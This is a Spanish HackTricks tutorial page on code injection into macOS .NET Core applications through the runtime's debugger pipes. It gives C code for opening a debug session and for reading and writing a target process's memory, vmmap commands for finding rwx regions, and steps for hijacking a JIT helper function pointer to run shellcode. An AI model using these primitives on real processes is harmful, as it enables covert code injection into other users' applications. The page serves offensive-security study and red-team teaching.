mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-10 04:08:51 +00:00
202 lines
11 KiB
Markdown
202 lines
11 KiB
Markdown
# Inyección en Aplicaciones .Net de macOS
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
## Depuración de .NET Core <a href="#net-core-debugging" id="net-core-debugging"></a>
|
|
|
|
### **Establecer una sesión de depuración** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
|
|
|
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp) es responsable de manejar la **comunicación** entre el depurador y el depurado.\
|
|
Crea 2 pipes con nombre por proceso .Net en [dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127) llamando a [twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27) (uno terminará en **`-in`** y el otro en **`-out`**, y el resto del nombre será el mismo).
|
|
|
|
Por lo tanto, si vas al **`$TMPDIR`** del usuario, podrás encontrar **fifos de depuración** que podrías usar para depurar aplicaciones .Net:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
La función [**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259) manejará la comunicación desde un depurador.
|
|
|
|
Lo primero que se requiere que haga un depurador es **crear una nueva sesión de depuración**. Esto se hace **enviando un mensaje a través del pipe `out`** que comienza con una estructura `MessageHeader`, la cual podemos obtener del código fuente de .NET:
|
|
```c
|
|
struct MessageHeader
|
|
{
|
|
MessageType m_eType; // Type of message this is
|
|
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
|
|
DWORD m_dwId; // Message ID assigned by the sender of this message
|
|
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
|
|
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
|
|
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
|
|
// never read)
|
|
union {
|
|
struct {
|
|
DWORD m_dwMajorVersion; // Protocol version requested/accepted
|
|
DWORD m_dwMinorVersion;
|
|
} VersionInfo;
|
|
...
|
|
} TypeSpecificData;
|
|
|
|
BYTE m_sMustBeZero[8];
|
|
}
|
|
```
|
|
En el caso de una solicitud de nueva sesión, esta estructura se llena de la siguiente manera:
|
|
```c
|
|
static const DWORD kCurrentMajorVersion = 2;
|
|
static const DWORD kCurrentMinorVersion = 0;
|
|
|
|
// Set the message type (in this case, we're establishing a session)
|
|
sSendHeader.m_eType = MT_SessionRequest;
|
|
|
|
// Set the version
|
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
|
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
|
|
|
// Finally set the number of bytes which follow this header
|
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
|
```
|
|
Una vez construido, **enviamos esto al objetivo** utilizando la llamada al sistema `write`:
|
|
```c
|
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
|
```
|
|
Siguiendo nuestro encabezado, necesitamos enviar una estructura `sessionRequestData`, la cual contiene un GUID para identificar nuestra sesión:
|
|
```c
|
|
// All '9' is a GUID.. right??
|
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
|
|
|
// Send over the session request data
|
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
|
```
|
|
Al enviar nuestra solicitud de sesión, **leemos del `out` pipe un encabezado** que indicará **si** nuestra solicitud para establecer si una sesión de depuración ha sido **exitosa** o no:
|
|
```c
|
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
|
```
|
|
### Leer Memoria
|
|
|
|
Con una sesión de depuración establecida es posible **leer memoria** utilizando el tipo de mensaje [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896). Para leer algo de memoria el código principal necesario sería:
|
|
```c
|
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
|
|
|
*output = (unsigned char *)malloc(len);
|
|
if (*output == NULL) {
|
|
return false;
|
|
}
|
|
|
|
sSendHeader.m_dwId++; // We increment this for each request
|
|
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
sSendHeader.m_cbDataBlock = 0;
|
|
|
|
// Write the header
|
|
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Read the response header
|
|
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Make sure that memory could be read before we attempt to read further
|
|
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
return false;
|
|
}
|
|
|
|
memset(*output, 0, len);
|
|
|
|
// Read the memory from the debugee
|
|
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
}
|
|
```
|
|
El código de prueba de concepto (POC) se encuentra [aquí](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b).
|
|
|
|
### Escribir en memoria
|
|
```c
|
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
|
|
|
sSendHeader.m_dwId++; // We increment this for each request
|
|
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
sSendHeader.m_cbDataBlock = len;
|
|
|
|
// Write the header
|
|
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Write the data
|
|
if (write(wr, input, len) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Read the response header
|
|
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
return false;
|
|
}
|
|
|
|
// Ensure our memory write was successful
|
|
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
return false;
|
|
}
|
|
|
|
return true;
|
|
|
|
}
|
|
```
|
|
El código POC utilizado para hacer esto se puede encontrar [aquí](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5).
|
|
|
|
### Ejecución de código .NET Core <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
|
|
|
Lo primero es identificar, por ejemplo, una región de memoria con **`rwx`** en ejecución para guardar el shellcode a ejecutar. Esto se puede hacer fácilmente con:
|
|
```bash
|
|
vmmap -pages [pid]
|
|
vmmap -pages 35829 | grep "rwx/rwx"
|
|
```
|
|
Entonces, para desencadenar la ejecución sería necesario conocer algún lugar donde se almacene un puntero de función para sobrescribirlo. Es posible sobrescribir un puntero dentro de la **Tabla de Funciones Dinámicas (DFT)**, que es utilizada por el entorno de ejecución de .NET Core para proporcionar funciones auxiliares para la compilación JIT. Una lista de punteros de función compatibles se puede encontrar dentro de [`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h).
|
|
|
|
En versiones x64 esto es directo utilizando la técnica de **búsqueda de firmas** al estilo de mimikatz para buscar en **`libcorclr.dll`** una referencia al símbolo **`_hlpDynamicFuncTable`**, al cual podemos desreferenciar:
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Todo lo que queda por hacer es encontrar una dirección desde la cual comenzar nuestra búsqueda de firmas. Para hacer esto, aprovechamos otra función de depuración expuesta, **`MT_GetDCB`**. Esto devuelve una serie de bits de información útiles sobre el proceso objetivo, pero para nuestro caso, estamos interesados en un campo devuelto que contiene la **dirección de una función auxiliar**, **`m_helperRemoteStartAddr`**. Usando esta dirección, sabemos justo **dónde se encuentra `libcorclr.dll`** dentro de la memoria del proceso objetivo y podemos comenzar nuestra búsqueda de la DFT.
|
|
|
|
Conociendo esta dirección es posible sobrescribir el puntero de la función con el de nuestro shellcode.
|
|
|
|
El código POC completo utilizado para inyectar en PowerShell se puede encontrar [aquí](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6).
|
|
|
|
## Referencias
|
|
|
|
* Esta técnica fue tomada de [https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|